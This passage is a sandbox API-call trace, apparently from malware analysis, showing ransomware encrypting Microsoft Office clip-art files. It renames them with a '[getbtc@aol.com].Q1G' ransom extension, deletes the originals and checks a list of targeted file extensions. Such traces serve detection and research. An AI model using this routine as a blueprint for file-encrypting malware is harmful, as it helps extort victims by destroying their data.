SetEndOfFile (hFile=0x3f0) returned 1 [0258.057] CloseHandle (hObject=0x3f0) returned 1 [0258.057] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.057] SetEndOfFile (hFile=0x3d8) returned 1 [0258.059] CloseHandle (hObject=0x3d8) returned 1 [0258.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.070] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf")) returned 1 [0258.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0258.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0258.274] lstrlenW (lpString=".doc") returned 4 [0258.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.274] lstrlenW (lpString=".docx") returned 5 [0258.274] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0258.274] lstrlenW (lpString=".pdf") returned 4 [0258.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.274] lstrlenW (lpString=".xls") returned 4 [0258.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.274] lstrlenW (lpString=".xlsx") returned 5 [0258.274] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0258.285] lstrlenW (lpString=".ppt") returned 4 [0258.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0258.294] lstrlenW (lpString=".zip") returned 4 [0258.294] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.294] lstrlenW (lpString=".rar") returned 4 [0258.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.294] lstrlenW (lpString=".bz2") returned 4 [0258.294] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.294] lstrlenW (lpString=".7z") returned 3 [0258.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0258.294] lstrlenW (lpString=".dbf") returned 4 [0258.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0258.295] lstrlenW (lpString=".1cd") returned 4 [0258.295] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0258.295] lstrlenW (lpString=".jpg") returned 4 [0258.295] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0258.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0258.295] lstrlenW (lpString=".doc") returned 4 [0258.295] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.295] lstrlenW (lpString=".docx") returned 5 [0258.295] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0258.295] lstrlenW (lpString=".pdf") returned 4 [0258.295] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.295] lstrlenW (lpString=".xls") returned 4 [0258.295] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.295] lstrlenW (lpString=".xlsx") returned 5 [0258.295] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0258.295] lstrlenW (lpString=".ppt") returned 4 [0258.295] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0258.295] lstrlenW (lpString=".zip") returned 4 [0258.295] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.295] lstrlenW (lpString=".rar") returned 4 [0258.295] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.295] lstrlenW (lpString=".bz2") returned 4 [0258.295] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.295] lstrlenW (lpString=".7z") returned 3 [0258.295] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0258.295] lstrlenW (lpString=".dbf") returned 4 [0258.295] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0258.295] lstrlenW (lpString=".1cd") returned 4 [0258.295] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0258.296] lstrlenW (lpString=".jpg") returned 4 [0258.296] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.296] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.296] lstrlenW (lpString="J0107150.WMF") returned 12 [0258.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.296] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=13456) returned 1 [0258.296] CloseHandle (hObject=0x394) returned 1 [0258.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf")) returned 0x20 [0258.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.297] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.297] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0258.298] GetLastError () returned 0x0 [0258.298] ReadFile (in: hFile=0x394, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x3490, lpOverlapped=0x0) returned 1 [0258.313] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x34a0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x34a0, lpOverlapped=0x0) returned 1 [0258.314] ReadFile (in: hFile=0x394, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.314] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.314] SetEndOfFile (hFile=0x3a8) returned 1 [0258.314] CloseHandle (hObject=0x3a8) returned 1 [0258.314] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.314] SetEndOfFile (hFile=0x394) returned 1 [0258.322] CloseHandle (hObject=0x394) returned 1 [0258.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf")) returned 1 [0258.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0258.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0258.323] lstrlenW (lpString=".doc") returned 4 [0258.323] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.323] lstrlenW (lpString=".docx") returned 5 [0258.323] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0258.323] lstrlenW (lpString=".pdf") returned 4 [0258.323] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.323] lstrlenW (lpString=".xls") returned 4 [0258.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.324] lstrlenW (lpString=".xlsx") returned 5 [0258.324] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0258.324] lstrlenW (lpString=".ppt") returned 4 [0258.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0258.324] lstrlenW (lpString=".zip") returned 4 [0258.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.324] lstrlenW (lpString=".rar") returned 4 [0258.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.324] lstrlenW (lpString=".bz2") returned 4 [0258.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.324] lstrlenW (lpString=".7z") returned 3 [0258.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0258.324] lstrlenW (lpString=".dbf") returned 4 [0258.324] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0258.324] lstrlenW (lpString=".1cd") returned 4 [0258.324] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0258.324] lstrlenW (lpString=".jpg") returned 4 [0258.324] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0258.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0258.324] lstrlenW (lpString=".doc") returned 4 [0258.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.324] lstrlenW (lpString=".docx") returned 5 [0258.324] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0258.324] lstrlenW (lpString=".pdf") returned 4 [0258.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.324] lstrlenW (lpString=".xls") returned 4 [0258.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.324] lstrlenW (lpString=".xlsx") returned 5 [0258.324] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0258.324] lstrlenW (lpString=".ppt") returned 4 [0258.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0258.325] lstrlenW (lpString=".zip") returned 4 [0258.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.325] lstrlenW (lpString=".rar") returned 4 [0258.325] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.325] lstrlenW (lpString=".bz2") returned 4 [0258.325] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.325] lstrlenW (lpString=".7z") returned 3 [0258.325] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0258.325] lstrlenW (lpString=".dbf") returned 4 [0258.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0258.325] lstrlenW (lpString=".1cd") returned 4 [0258.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0258.325] lstrlenW (lpString=".jpg") returned 4 [0258.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.325] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.325] lstrlenW (lpString="J0107154.WMF") returned 12 [0258.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.326] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=22300) returned 1 [0258.326] CloseHandle (hObject=0x394) returned 1 [0258.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf")) returned 0x20 [0258.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.326] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.326] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0258.327] GetLastError () returned 0x0 [0258.327] ReadFile (in: hFile=0x394, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x571c, lpOverlapped=0x0) returned 1 [0258.359] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x5720, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x5720, lpOverlapped=0x0) returned 1 [0258.360] ReadFile (in: hFile=0x394, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.360] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.360] SetEndOfFile (hFile=0x3a8) returned 1 [0258.360] CloseHandle (hObject=0x3a8) returned 1 [0258.360] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.360] SetEndOfFile (hFile=0x394) returned 1 [0258.362] CloseHandle (hObject=0x394) returned 1 [0258.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf")) returned 1 [0258.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0258.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0258.656] lstrlenW (lpString=".doc") returned 4 [0258.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.656] lstrlenW (lpString=".docx") returned 5 [0258.656] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0258.656] lstrlenW (lpString=".pdf") returned 4 [0258.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.656] lstrlenW (lpString=".xls") returned 4 [0258.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.656] lstrlenW (lpString=".xlsx") returned 5 [0258.656] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0258.656] lstrlenW (lpString=".ppt") returned 4 [0258.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0258.656] lstrlenW (lpString=".zip") returned 4 [0258.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.656] lstrlenW (lpString=".rar") returned 4 [0258.656] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.656] lstrlenW (lpString=".bz2") returned 4 [0258.656] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.656] lstrlenW (lpString=".7z") returned 3 [0258.656] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0258.656] lstrlenW (lpString=".dbf") returned 4 [0258.656] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0258.656] lstrlenW (lpString=".1cd") returned 4 [0258.656] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0258.656] lstrlenW (lpString=".jpg") returned 4 [0258.656] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0258.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0258.656] lstrlenW (lpString=".doc") returned 4 [0258.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.657] lstrlenW (lpString=".docx") returned 5 [0258.657] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0258.657] lstrlenW (lpString=".pdf") returned 4 [0258.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.657] lstrlenW (lpString=".xls") returned 4 [0258.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.657] lstrlenW (lpString=".xlsx") returned 5 [0258.657] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0258.657] lstrlenW (lpString=".ppt") returned 4 [0258.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0258.657] lstrlenW (lpString=".zip") returned 4 [0258.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.657] lstrlenW (lpString=".rar") returned 4 [0258.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.657] lstrlenW (lpString=".bz2") returned 4 [0258.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.657] lstrlenW (lpString=".7z") returned 3 [0258.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0258.657] lstrlenW (lpString=".dbf") returned 4 [0258.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0258.657] lstrlenW (lpString=".1cd") returned 4 [0258.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0258.657] lstrlenW (lpString=".jpg") returned 4 [0258.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.657] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.657] lstrlenW (lpString="J0107288.WMF") returned 12 [0258.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0258.730] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=13436) returned 1 [0258.730] CloseHandle (hObject=0x3b0) returned 1 [0258.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf")) returned 0x20 [0258.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0258.731] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.731] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0258.732] GetLastError () returned 0x0 [0258.732] ReadFile (in: hFile=0x3b0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x347c, lpOverlapped=0x0) returned 1 [0258.764] WriteFile (in: hFile=0x3b8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x3480, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x3480, lpOverlapped=0x0) returned 1 [0258.765] ReadFile (in: hFile=0x3b0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.765] WriteFile (in: hFile=0x3b8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.766] SetEndOfFile (hFile=0x3b8) returned 1 [0258.766] CloseHandle (hObject=0x3b8) returned 1 [0258.766] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.766] SetEndOfFile (hFile=0x3b0) returned 1 [0258.768] CloseHandle (hObject=0x3b0) returned 1 [0258.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf")) returned 1 [0258.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0258.792] lstrlenW (lpString="C:\\Program Files\\Microsoft 